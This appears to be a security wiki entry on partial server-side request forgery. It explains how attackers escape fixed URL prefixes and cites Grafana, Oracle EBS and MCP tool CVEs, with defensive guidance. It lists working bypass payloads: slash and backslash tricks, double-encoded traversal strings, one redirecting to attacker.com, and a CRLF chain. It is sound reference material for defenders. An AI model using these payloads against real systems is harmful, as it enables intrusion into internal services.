Partial SSRF

SSRF where the attacker controls only a fragment of the outbound URL — a path segment, a param, or part of the host — rather than the whole URL, and must break out of the fixed prefix/suffix to reach an unintended destination.

How it works

The server builds the request URL by concatenating a hard-coded base with attacker input, e.g. http://internal-service/ + <path>, or http:// + <Host header> + /fixed.xsl. The constraint is structural: you cannot simply supply http://169.254.169.254/, you have to abuse the parser and the concatenation to redirect where the request lands. Two dominant primitives:

  1. Path-only control → path traversal into another internal route. When input lands in the path, ../ (and encoded variants) walk out of the intended handler into sensitive internal endpoints or a proxy that itself fetches URLs.
  2. Host/authority-fragment control → break out of the base. When input is appended to or spliced into the host, use @, #, ?, extra slashes, backslashes, and (double) URL-encoding to make the parser treat your host as the authority. Chaining an open redirect on the fixed base host is the cleanest escape when only a path is controllable. See Open Redirect to SSRF and URL Parser Differentials.

Techniques / payloads

Protocol/host escapes when only a path or suffix is controllable (append your canary host):

//{CANARY}            \\{CANARY}           ////{CANARY}       \\\\{CANARY}
http:{CANARY}         https:{CANARY}
/%00/{CANARY}  /%0A/{CANARY}  /%0D/{CANARY}  /%09/{CANARY}
example.com.{CANARY}  example.com@{CANARY}  {CANARY}#example.com  {CANARY}?example.com

Path traversal to reach an internal route behind the fixed prefix:

/public/file/../../../name                      # breaks out of the static handler (Grafana)
http://host/OA_HTML/help/../ieshostedsurvey.jsp # --path-as-is traversal past auth filter (Oracle EBS)

Double-encoding + backslash to defeat a plugin/proxy path filter and reach an open-redirect gadget, turning path-only control into full-read SSRF (Grafana CVE-2025-4123):

/render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore

Host-fragment control via request headers the app trusts when building the base URL — e.g. mcp-atlassian honoring X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url to set the outbound target (CVE-2026-27826). See Host Header SSRF.

CRLF in the controlled fragment to upgrade a partial GET into a crafted POST and smuggle headers to the internal service (Oracle EBS chain) — see Gopher Protocol SSRF for the raw-protocol analogue.

Notable cases

  • Grafana CVE-2025-4123 — open redirect in a plugin path + path traversal with double-encoding/backslash tricks (..%252f%255C...) escalated to full-read SSRF and account takeover; GreyNoise observed mass Grafana path-traversal recon preceding a coordinated SSRF exploitation surge (echoing the 2019 Capital One Breach).
  • Oracle EBS CVE-2025-61882 (CVSS 9.8, pre-auth, Cl0p) — SSRF in /OA_HTML/configurator/UiServlet (return_url from XML) → CRLF injection → path traversal /OA_HTML/help/../ieshostedsurvey.jsp past the pathname auth filter to an internal service on port 7201 → unsafe XSLT → RCE.
  • mcp-atlassian CVE-2026-27826 — header-controlled Atlassian base URL (X-Atlassian-*-Url) with no validation yields SSRF to arbitrary destinations; fix adds validate_url_for_ssrf() (scheme/domain allowlist, redirect/localhost/private-IP block).
  • FastMCP CVE-2026-32871 — SSRF + path traversal via the OpenAPI provider; $ref resolution fetches remote/internal URLs.
  • Refitter (OpenAPI $ref, verified 2.0.0) — $ref: http://internal/evil.json makes a build host/CI fetch attacker/internal URLs (SSRF) plus RFI/LFI; same NJsonSchema default-unsafe root as Jane and mcp-from-openapi (CVE-2026-39885).

Defenses

  • Resolve and canonicalize the full URL after concatenation, then allowlist the resulting host/IP — validating the fragment in isolation is insufficient.
  • Reject ../, encoded traversal, backslashes, and reparse with --path-as-is-equivalent normalization before use; apply auth filters to the canonical path.
  • Never derive the outbound base URL from client-controlled headers (Host, X-Forwarded-*, custom X-*-Url).
  • Disable remote $ref/entity resolution in OpenAPI/XML/schema tooling on build and runtime hosts.
    See SSRF Prevention.

Sources